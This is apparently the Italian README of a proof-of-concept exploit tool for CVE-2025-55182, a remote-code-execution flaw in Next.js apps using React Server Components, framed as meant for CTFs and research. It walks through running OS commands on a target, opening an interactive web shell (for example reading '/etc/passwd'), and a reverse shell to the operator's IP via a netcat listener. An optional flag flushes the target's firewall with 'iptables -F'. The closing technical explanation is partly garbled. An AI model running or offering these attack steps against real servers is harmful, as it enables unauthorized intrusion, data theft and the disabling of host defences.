
WEB-CLI_RCE_React2Shell è uno strumento exploit PoC didattico per CVE-2025-55182, una critica vulnerabilità di Prototype Pollution nelle applicazioni Next.js che utilizzano React Server Components. Progettato per CTF e ricerca, offre una modalità a comando singolo, una CLI web interattiva e funzionalità di reverse shell per dimostrare la RCE.
Questo strumento è un semplice exploit Proof-of-Concept (PoC) per CVE-2025-55182. Si tratta di una grave vulnerabilità (Prototype Pollution) trovata nelle applicazioni Next.js che utilizzano React Server Components.
Se un server di destinazione è vulnerabile, questo script consente di eseguire comandi del sistema operativo su di esso (esecuzione remota di codice, o RCE).
Questo strumento è realizzato per l'apprendimento, i CTF e la ricerca sulla sicurezza responsabile.
USA IN MODO ETICO. Esegui questo exploit solo contro sistemi che possiedi o per i quali hai un'autorizzazione esplicita e documentata a testare. L'uso non autorizzato è illegale. Questo strumento è solo a scopo educativo.
Questo strumento ha tre modi principali per eseguire comandi: un semplice comando singolo, una console web interattiva completa e un tentativo di reverse shell classica.
Ottieni il codice:
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
Installa la libreria:
pip install requests
Questo è il modo più semplice per interagire con il target. Avvia una pagina web locale sulla tua macchina che funziona come un terminale.
Esegui lo script:
python3 exploit.py <TARGET_URL> --web-cli
Esempio: python3 exploit.py http://target.com/ --web-cli
Apri il browser: Lo script ti dirà di aprire http://127.0.0.1:8000/. Potrai quindi digitare i comandi (come ls, whoami, cat /etc/passwd) direttamente nella pagina web.
Esegui un comando e ottieni immediatamente l'output nel tuo terminale locale. Utile per controlli rapidi come trovare il tuo ID utente.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
Esempio: python3 exploit.py http://target.com/ --cmd 'id'
Usa questa modalità se vuoi una connessione stabile e persistente. Nota: Spesso fallisce in ambienti reali a causa dei firewall (filtraggio del traffico in uscita).
Avvia il tuo listener (es., netcat):
nc -lvnp 55555
Esegui l'exploit:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>: L'IP della tua macchina.-p 55555: La porta su cui è in ascolto il tuo listener.--flush (Opzionale): Tenta di eseguire iptables -F sul target prima di pulire i firewall dell'host.L'exploit utilizza una vulnerabilità di Prototype Pollution per ottenere RCE.
Object.prototype).child_process di Node.js). Sostituiamo il valore di quella proprietà con il nostro comando di shell.execSync) e genera immediatamente un errore innocuo. L'output del comando viene abilmente inserito nel campo digest del messaggio di errore. Lo script Python legge quindi questo campo per ottenere i risultati.Questa ricerca si basa sul lavoro iniziale e sulla divulgazione da parte della community della sicurezza. Grazie a tutti i ricercatori e ai contributori open-source.